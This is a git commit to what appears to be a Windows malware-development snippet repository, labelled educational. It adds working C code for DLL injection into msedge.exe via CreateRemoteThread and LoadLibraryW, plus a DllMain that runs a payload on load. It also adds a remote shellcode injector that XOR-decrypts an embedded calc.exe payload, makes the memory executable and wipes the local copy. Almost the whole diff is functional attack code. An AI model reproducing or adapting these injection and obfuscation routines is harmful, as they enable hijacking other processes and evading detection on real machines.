new snippet

This commit is contained in:
Print3M
2023-12-22 16:39:04 +01:00
parent 6d5d8593d6
commit fd7526d717
5 changed files with 318 additions and 2 deletions
+1 -2
View File
@@ -2,7 +2,6 @@
> **IMPORTANT**: The code is written and can be used only for the educational purpose!
This repository contains C/C++ snippets of code useful during Windows malware development.
This repository contains C/C++ snippets of code useful during Windows malware development. I'm trying to make every file standalone, hence some pieces of code might be redundant. You should always look at the standalone source file of a specific functionality.
A lot of techniques presented here and much more are described in [my malware-dev notes](https://print3m.github.io/notes) (`/windows/malware-dev`).
+122
View File
@@ -0,0 +1,122 @@
#include <Windows.h>
#include <TlHelp32.h>
#include <ctype.h>
#include <stdio.h>
#include <stdbool.h>
/*
Find process by name.
Inject malicious DLL in the remote process thread.
*/
/*===================================#
# PROCESS ENUMERATION FROM #
# process_enumeration_snapshot.c #
#===================================*/
void to_lowercase(IN wchar_t src[], OUT wchar_t dest[]) {
for (size_t i = 0; i < wcslen(src); i++) {
dest[i] = (wchar_t)tolower(src[i]);
dest[i + 1] = '\0';
}
}
bool find_process(IN const wchar_t proc_name[], OUT HANDLE* proc, OUT PROCESSENTRY32* proc_entry) {
/*
Return:
TRUE - if process has been found and opened (:pProcName and :hProc are populated)
FALSE - if something failed (reading :pProcName and :hProc is undefined behavior)
*/
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) {
printf("[!] CreateToolhelp32Snapshot error: %d \n", GetLastError());
return FALSE;
}
if (!Process32First(snap, proc_entry)) {
printf("[!] Process32First error: %d \n", GetLastError());
return FALSE;
}
// Prepare lowercase process name
wchar_t process_name[MAX_PATH];
do {
to_lowercase(proc_entry->szExeFile, process_name);
// printf("Proc: %5d | %ls \n", proc_entry->th32ProcessID, process_name);
if (wcscmp(process_name, proc_name) == 0) {
*proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, proc_entry->th32ProcessID);
if (*proc == NULL) {
printf("[!] OpenProcess error: %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
} while (Process32Next(snap, proc_entry));
return FALSE;
}
const wchar_t dll_path[] = L"C:\\path\\to\\malicious.dll";
int main() {
HANDLE proc = NULL;
PROCESSENTRY32 proc_entry = {
// According to the documentation, this value must be initialized
.dwSize = sizeof(PROCESSENTRY32)
};
if (!find_process(L"msedge.exe", &proc, &proc_entry)) {
printf("[!] FindProcess failed \n");
}
printf("[+] Process opened: (%d) %ls \n", proc_entry.th32ProcessID, proc_entry.szExeFile);
// Get an address of the function that is used to load external DLL into the remote process
void* pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
if (pLoadLibraryW == NULL) {
printf("[!] GetProcAddress error: %d \n", GetLastError());
return 1;
}
// Allocate memory in the remote process for a DLL path string
void* dll_path_mem = VirtualAllocEx(
proc,
NULL,
sizeof(dll_path),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (dll_path_mem == NULL) {
printf("[!] VirtualAllocEx error: %d \n", GetLastError());
return 1;
}
// Write the DLL path into the allocated remote process memory
size_t no_bytes = 0;
WriteProcessMemory(proc, dll_path_mem, dll_path, sizeof(dll_path), &no_bytes);
if (no_bytes == 0) {
printf("[!] WriteProcessMemory error: %d \n", GetLastError());
return 1;
}
/*
Create a new thread in the remote process.
Call LoadLibraryW with malicious DLL in the remote process.
*/
HANDLE thread = CreateRemoteThread(proc, NULL, NULL, pLoadLibraryW, dll_path_mem, NULL, NULL);
if (thread == NULL) {
printf("[!] CreateRemoteThread error: %d \n", GetLastError());
return 1;
}
printf("[+] It works.");
// Exit
getchar();
return 0;
}
+5
View File
@@ -7,6 +7,11 @@
A shellcode XOR encryption is implemented as well.
*/
/*===================================#
# XORED PAYLOAD HANDLINGFROM #
# xor_payload.c #
#===================================*/
// Xored shellcode with calc.exe
uint8_t calc_shellcode_xored[] = {
0x8A, 0x2D, 0xF1, 0x9D, 0xAF, 0x9B, 0xB4, 0x72, 0x6F, 0x6E, 0x26, 0x0E, 0x2A, 0x35, 0x2B,
+25
View File
@@ -0,0 +1,25 @@
#include "pch.h"
#include "stdlib.h"
void execute_payload() {
system("calc.exe");
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
execute_payload();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
+165
View File
@@ -0,0 +1,165 @@
#include <Windows.h>
#include <stdio.h>
#include <stdint.h>
#include <TlHelp32.h>
#include <ctype.h>
#include <stdbool.h>
/*
Decrypt a xored shellcode.
Find a remote process by name.
Inject the shellcode in the remote process and start a new thread.
*/
/*===================================#
# XORED PAYLOAD HANDLINGFROM #
# xor_payload.c #
#===================================*/
// Xored shellcode with calc.exe
uint8_t calc_shellcode[] = {
0x8A, 0x2D, 0xF1, 0x9D, 0xAF, 0x9B, 0xB4, 0x72, 0x6F, 0x6E, 0x26, 0x0E, 0x2A, 0x35, 0x2B,
0x27, 0x33, 0x3A, 0x48, 0x8D, 0x16, 0x3C, 0xF9, 0x3D, 0x0E, 0x2F, 0xD4, 0x39, 0x7D, 0x31,
0xFD, 0x37, 0x52, 0x31, 0xD4, 0x01, 0x24, 0x3A, 0x60, 0xD9, 0x2D, 0x15, 0x26, 0x54, 0xB0,
0x3E, 0x54, 0xB2, 0xD5, 0x63, 0x12, 0x08, 0x70, 0x43, 0x4E, 0x26, 0x9E, 0xA2, 0x68, 0x38,
0x77, 0xA4, 0x90, 0x94, 0x0D, 0x32, 0x25, 0x3A, 0xE4, 0x3C, 0x47, 0xD4, 0x29, 0x59, 0x31,
0x77, 0xB5, 0xF9, 0xF9, 0xD7, 0x73, 0x74, 0x72, 0x27, 0xEB, 0xA7, 0x2B, 0x0C, 0x2D, 0x78,
0xA6, 0x35, 0xF9, 0x31, 0x47, 0x37, 0xFF, 0x32, 0x4F, 0x27, 0x66, 0x8F, 0x88, 0x33, 0x31,
0x89, 0xAC, 0x33, 0xF2, 0x6B, 0xFB, 0x3C, 0x73, 0xB9, 0x23, 0x56, 0x96, 0x23, 0x54, 0xB9,
0xDA, 0x24, 0xB3, 0xB0, 0x52, 0x32, 0x75, 0xB3, 0x57, 0x8E, 0x12, 0xAE, 0x27, 0x66, 0x35,
0x52, 0x6D, 0x37, 0x40, 0x8E, 0x06, 0xAC, 0x2A, 0x2B, 0xE5, 0x27, 0x7B, 0x22, 0x64, 0xA9,
0x10, 0x24, 0xF9, 0x75, 0x17, 0x37, 0xFF, 0x32, 0x73, 0x27, 0x66, 0x8F, 0x2A, 0xEE, 0x7D,
0xFE, 0x2D, 0x73, 0xA9, 0x1E, 0x2B, 0x35, 0x2A, 0x31, 0x37, 0x3D, 0x1E, 0x33, 0x24, 0x20,
0x37, 0x3F, 0x3A, 0xFA, 0xB3, 0x53, 0x35, 0x20, 0x90, 0x8E, 0x3F, 0x1E, 0x32, 0x3F, 0x31,
0xFD, 0x77, 0x9B, 0x2E, 0xA0, 0x8C, 0x8B, 0x2F, 0x27, 0xD4, 0x66, 0x5F, 0x6B, 0x65, 0x79,
0x76, 0x65, 0x72, 0x31, 0xD2, 0xFE, 0x75, 0x73, 0x6F, 0x6E, 0x26, 0xE5, 0x5A, 0xEE, 0x16,
0xF1, 0x9A, 0xA7, 0xC2, 0xBF, 0x6E, 0x5E, 0x78, 0x2E, 0xD4, 0xC1, 0xCA, 0xD6, 0xF8, 0x86,
0xA3, 0x2D, 0xF1, 0xBD, 0x77, 0x4F, 0x72, 0x0E, 0x65, 0xEE, 0x9C, 0xBF, 0x1E, 0x60, 0xC2,
0x31, 0x76, 0x00, 0x16, 0x35, 0x73, 0x2D, 0x33, 0xE6, 0xB4, 0x98, 0x8A, 0x08, 0x04, 0x15,
0x15, 0x65,
};
uint8_t xor_key[] = {
'v', 'e', 'r', 'y', '_', 's', 't', 'r', 'o', 'n', 'g', '_', 'k', 'e', 'y'
};
void xor_by_key(IN OUT uint8_t shellcode[], IN const size_t shellcode_sz, IN const uint8_t key[], IN const size_t key_sz) {
for (size_t i = 0; i < shellcode_sz; i++) {
// Get byte of key
uint8_t byte_key = key[i % key_sz];
// Calculate value
shellcode[i] = shellcode[i] ^ byte_key;
}
}
/*===================================#
# PROCESS ENUMERATION FROM #
# process_enumeration_snapshot.c #
#===================================*/
void to_lowercase(IN wchar_t src[], OUT wchar_t dest[]) {
for (size_t i = 0; i < wcslen(src); i++) {
dest[i] = (wchar_t)tolower(src[i]);
dest[i + 1] = '\0';
}
}
bool find_process(IN const wchar_t proc_name[], OUT HANDLE* proc, OUT PROCESSENTRY32* proc_entry) {
/*
Return:
TRUE - if process has been found and opened (:pProcName and :hProc are populated)
FALSE - if something failed (reading :pProcName and :hProc is undefined behavior)
*/
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) {
printf("[!] CreateToolhelp32Snapshot error: %d \n", GetLastError());
return FALSE;
}
if (!Process32First(snap, proc_entry)) {
printf("[!] Process32First error: %d \n", GetLastError());
return FALSE;
}
// Prepare lowercase process name
wchar_t process_name[MAX_PATH];
do {
to_lowercase(proc_entry->szExeFile, process_name);
// printf("Proc: %5d | %ls \n", proc_entry->th32ProcessID, process_name);
if (wcscmp(process_name, proc_name) == 0) {
*proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, proc_entry->th32ProcessID);
if (*proc == NULL) {
printf("[!] OpenProcess error: %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
} while (Process32Next(snap, proc_entry));
return FALSE;
}
int main() {
// Find process by name
HANDLE proc = NULL;
PROCESSENTRY32 proc_entry = {
// According to the documentation, this value must be initialized
.dwSize = sizeof(PROCESSENTRY32)
};
if (!find_process(L"msedge.exe", &proc, &proc_entry)) {
printf("[!] FindProcess failed \n");
return 1;
}
// Allocate memory for a shellcode in the remote process
void* shellcode_addr = VirtualAllocEx(
proc,
NULL,
sizeof(calc_shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (shellcode_addr == NULL) {
printf("[!] VirtualAllocEx error: %d \n", GetLastError());
return 1;
}
// Decrypt shellcode and
xor_by_key(calc_shellcode, sizeof(calc_shellcode), xor_key, sizeof(xor_key));
// Write the shellcode to the allocated memory in the remote process
size_t bytes = 0;
WriteProcessMemory(proc, shellcode_addr, calc_shellcode, sizeof(calc_shellcode), &bytes);
if (bytes == 0) {
printf("[!] WriteProcessMemory: %d \n", GetLastError());
return 1;
}
// Wipe the shellcode out from local memory
memset(calc_shellcode, 0x00, sizeof(calc_shellcode));
// Mark the allocated memory as executable
DWORD old = 0;
if (!VirtualProtectEx(proc, shellcode_addr, sizeof(calc_shellcode), PAGE_EXECUTE_READWRITE, &old)) {
printf("[!] VirtualProtectEx error: %d \n", GetLastError());
return 1;
}
// Create a new thread in the remote process and execute the shellcode
if (CreateRemoteThread(proc, NULL, NULL, shellcode_addr, NULL, NULL, NULL) == NULL) {
printf("[!] CreateRemoteThread error: %d \n", GetLastError());
return 1;
}
printf("[+] It works. \n");
// Exit
getchar();
return 0;
}